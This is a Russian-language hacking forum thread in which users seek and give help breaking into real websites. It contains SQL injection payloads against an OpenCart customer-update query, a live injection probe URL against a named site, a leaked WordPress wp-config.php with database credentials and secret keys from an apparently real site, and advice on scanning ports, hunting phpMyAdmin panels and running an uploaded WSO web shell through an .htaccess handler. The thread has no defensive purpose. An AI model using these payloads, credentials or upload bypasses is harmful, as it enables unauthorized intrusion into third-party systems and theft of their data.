Добрый день, в форме которая отправляется на сервер ajax запросом если добавить одинарную кавычку в нике в ответе вываливает такая ошибка, установлен openCart. Code: Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1991-01-01' WHERE customer_id = 687013' at line 2 Error No: 1064 UPDATE oc_customer SET fio = 'Имя Фамилия', firstname = 'Имя', lastname = 'Фамилия', telephone = '11111111111', patronymic = '', nickname = ''', birthday = '1991-01-01' WHERE customer_id = 687013 Возможно ли как то провести sql иньекцию? Проблема в том что если запрос выполнится без ошибок в ответе будет json объект который вернет что то типа {"status":"ok"} Попытался просто видоизменить конец запроса, но комментарий -- # /* не отрабатывает тоже вываливается в ошибку Spoiler: Изображение
Вы можете попробовать Code: nickname=',birthday=(SELECT IF(0=1,'2020-02-20','1111-11-11')) WHERE customer_id=687013;-- и если скуля срабатывает, то как дата рождения будет стоять "1111-11-11", потом уже можно будет делать блайнд с задержнкой или данные в дату рождения записывать, в обшем пару вариантов есть.
забыл сказать что ник имеет ограничение на количество символов поэтому там не пройдет такой вариант точно, но вот в дате ограничения видимо нет, попробовал в ней все равно так же ругается Spoiler: Изображение
попробуйте в конце Code: ;-- а так что-бы между двумя минусами и а был пробел. может быть что перед передачей в параметрах отрезают с помощью trim пробелы в конце. а два минуса без пробела, это как два ноля без единицы -- ничто А так если в конце параметра будет стоять что-то кроме пробела, то трим не срабатывает и пробел остаётся в параметре, который идёт в скуль.
кавычка добавляется в запрос но ошибка та же самая, как будто комментарий не распространяется именно на выражение WHERE customer_id = 687013, если оно находится на другой строке или это не важно в данном случае?
так, а как доработать вот такой запрос для получения какой либо инфы через UNION Code: SELECT h.* From oc_help h LEFT JOIN `oc_help_to_blog` htb USING (help_id) WHERE htb.blog_id = 4612
На скрине видна ошибка только в случае многострочного комментария, который должен быть закрыт по спецификации синтаксиса. Не вижу проблем, почему нельзя использовать lastname ещё раз и просто вклиниться в запрос не прибегая к комментированию, примерно таким образом: Code: xxx', lastname = @@version, firstname = 'xxx При этом превое значение lastname должно быть проигнорировано. Маны по MySQLi вам в помощь: https://forum.antichat.ru//threads/43966/ https://rdot.org/forum/showthread.php?t=124 https://rdot.org/forum/showthread.php?t=60 Не стоит брезговать, по причине давних дат публикации материалов, с тех времён кардинально ничего не поменялось. В случае непоняток, всегда можно уточнить здесь, а не просить раскручивать за ваc простейшие инъекции в запросах выборки.
В таком запросе получилось только через ошибку вывести данные, прямого вывода на страницу нету видимо, но в таком запросе не получится сделать через ошибку INSERT или UPDATE ? Такой вариант не работает. База 10.3.9-MariaDB Code: SELECT h.* From oc_help h LEFT JOIN `oc_help_to_blog` htb USING (help_id) WHERE htb.blog_id = 4612; UPDATE ...
Парни,привет! есть вот такая инфа,подскажите пожалуйста и если можно,то прям тыкните носом в строчки,что можно с этим сделать? если я правильно понимаю,то это ключи от БД логином и паролем..как это можно использовать и через какие проги..у меня на уме только бурп.. Spoiler: данные <?php /** * The base configurations of the WordPress. * * This file has the following configurations: MySQL settings, Table Prefix, * Secret Keys, WordPress Language, and ABSPATH. You can find more information * by visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing * wp-config.php} Codex page. You can get the MySQL settings from your web host. * * This file is used by the wp-config.php creation script during the * installation. You don't have to use the web site, you can just copy this file * to "wp-config.php" and fill in the values. * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'rtik_wke58w5ehjrkew5u'); /** MySQL database username */ define('DB_USER', 'rtik_cucok507'); /** MySQL database password */ define('DB_PASSWORD', 'dkjfy538i235rkewnfkwe57j56'); /** MySQL hostname */ define('DB_HOST', 'localhost'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', 'SGH@u|Wah 2I)dkdH<LbZ)}tR!LYi![cibC^9F,r}hu1C860 =A.NN]0A%|D^.ly'); define('SECURE_AUTH_KEY', '<X/WbexPH 2UaC,@gO3kgptZJ0)A8C,3JmxGE3|e(jUIOZ<0)W(5xg>nRe]EhlT['); define('LOGGED_IN_KEY', '?@]WrjTLAChQ}ndj}r%6ry`9{>naV,`%`&9!Lm{}wa@PY^Y=f@)QExv1mM]X6Lkk'); define('NONCE_KEY', 'J$+y?FTAc@D6)?w j!(cy&Uw|A!((@?gz^ xj{9jLlI3X-p*J!-1)Qc$h/fxhR>N'); define('AUTH_SALT', 'uc8K{*v$8{V?}hqlwjbJabr+ cYSv[N=wU0qooX]QdG^R?BTL{xSU&WD+oefQ:K;'); define('SECURE_AUTH_SALT', 'Hi+|oN@oSZ*n}O4L-bB&pr:5 ;$;HjMX!RQf}Vv*1J R|5e~-SKjINvPbbL#q6D,'); define('LOGGED_IN_SALT', '4pQD.YnB~dbh-vC4xW}.L@`Km_{uC+<=o({H-E,pmYz-;QBlUuCUoHmXENVW@87i'); define('NONCE_SALT', 't9K+v!9YIudIOYa~Bk-%8[wgJicn&} H+Z+d4bFLeA--$dYg_#pa*Ut6)eb57~u'); /**#@-*/ /** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each a unique * prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'dwjye760_'; /** * WordPress Localized Language, defaults to English. * * Change this to localize WordPress. A corresponding MO file for the chosen * language must be installed to wp-content/languages. For example, install * de_DE.mo to wp-content/languages and set WPLANG to 'de_DE' to enable German * language support. */ define('WPLANG', 'id_ID'); /** */ define('BBLANG', 'id_ID'); /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. */ /* Bahasa Indonesia Forum */ /*define ('BBLANG', 'id_ID');*/ define('WP_DEBUG', false); /* That's all, stop editing! Happy blogging. */ /** Absolute path to the WordPress directory. */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/'); /** Sets up WordPress vars and included files. */ /**Cron-WP*/ define('DISABLE_WP_CRON', true); require_once(ABSPATH . 'wp-settings.php'); //script menyembunyikan error kepada user ini_set("display_errors", 0); error_reporting(0);
Любым mysql-клиентом к базе подключиться, однако сдается мне, что mysql-сервер слушает только на localhost, а доступа к этому самому localhost Вы не имеете.
Посмотри соседей сайта, может где-то сможешь залиться и подключиться. Поищи на сайте phmyadmin,adminer, etc.
Этим данным уже лет 7+ Spoiler: 2015 gerkatinsolo.or.id/wp-content/uploads/fgallery/config/ file60 источник
Если db_host = localhost Проверяем интересуемые порт(ы) служб на доступность + возможность коннекта Code: sudo nmap -v -v -sS -Pn -p3306 0.0.0.0 Если порты закрыты или ограничены для подключения, отправляемся на поиске панельки. В 90% залетаем на ура, если имеем актуальные кредсы и панельку управления СУБД. Ищем директории phpmyadmin/pma/phpadmin, adminer.php и так далее в разных вариациях. Экономим время путем установки хостера и дефолт путей/конфигов данных хостеров: Spoiler: default_host Code: Хостинг-провайдер Значение DB_HOST 1and1 db12345678 AN Hosting localhost A Small Orange localhost BlueHost localhost DreamHost mysql.example.com GoDaddy h41mysql52.secureserver.net HostGator localhost HostICan localhost ICDSoft localhost:/tmp/mysql5.sock LaughingSquid localhost MediaTemple/Grid internal-db.s44441.gridserver.com one.com localhost pair Networks dbnnnx.pair.com Rackspace Cloud mysql50-01.wc1.dfw1.stabletransit.com Yahoo mysql Сервера с cPanel localhost Сервера с Plesk localhost Сервера с DirectAdmin localhost Tophost.it sql.your-domain-name.it Sprinthost.ru localhost Spoiler: Public PMA links // Зависит от сервера размещен сайт: beget.com https://dock2.beget.com/phpMyAdmin https://digger.beget.com/phpMyAdmin hc.ru https://phpmyadmin.hc.ru ihc.ru https://myadmin.ihc.ru/ jino.ru https://myadmin.jino.ru masterhost.ru https://phpmyadmin.masterhost.ru reg.ru https://serverXX.hosting.reg.ru/phpmyadmin/ sprinthost.ru https://pma.sprinthost.ru/index.php nic.ru https://pma.nic.ru TimeWeb https://servername.timeweb.ru/pma/, где servername - имя сервера TimeWeb https://pulcher.timeweb.ru/pma https://cronus.timeweb.ru/pma https://betsy.timeweb.ru/pma
Help Code: https://www.castagniccia-maremonti.com/index.php?id=26+order+by+7+--+&type_page=detail_affaires
Доброго времени всем. Подскажите пожалуйста по не скольким вопросам. Есть сайт. Из админки есть возможность делать импорт в базу данных. Возможно ли как-то получить шелл? Пути не известны. Так же есть возможность загружать файлы, но в чистом виде .php файл грузиться не хочет. Переименовав к примеру в .php3 загрузка происходит. С добавлением рандомного имени в конце. Пример: wso.php3.53aadaa50075c72420b8656f14b0b68c При переходе по ссылке, шелл не отображается, а происходит скачивание. С этим можно что-то сделать? Заранее благодарен.
конечно, импорт бд - добавляем учетку + привилегии путем импорта юзера или замены. Выолнить подобное на уровне mysql маровероятно, с давних версий по дефолту ограничена скуля с работой в файловой. Если конечно речь об mysql по аплоуду попробуй в случае апача .htaccess пропиши с расширением уже залитого файла выполнять как скрипт Code: <FilesMatch ".php3.53aadaa50075c72420b8656f14b0b68c"> SetHandler application/x-httpd-php </FilesMatch> определяй где выполняется проверка (клаинт сайд/сервер сайд), байпасы не только на одном расширении заканчивается. Проще всего посмотреть вендра данного "чуда" и сбегать на сплойт-дб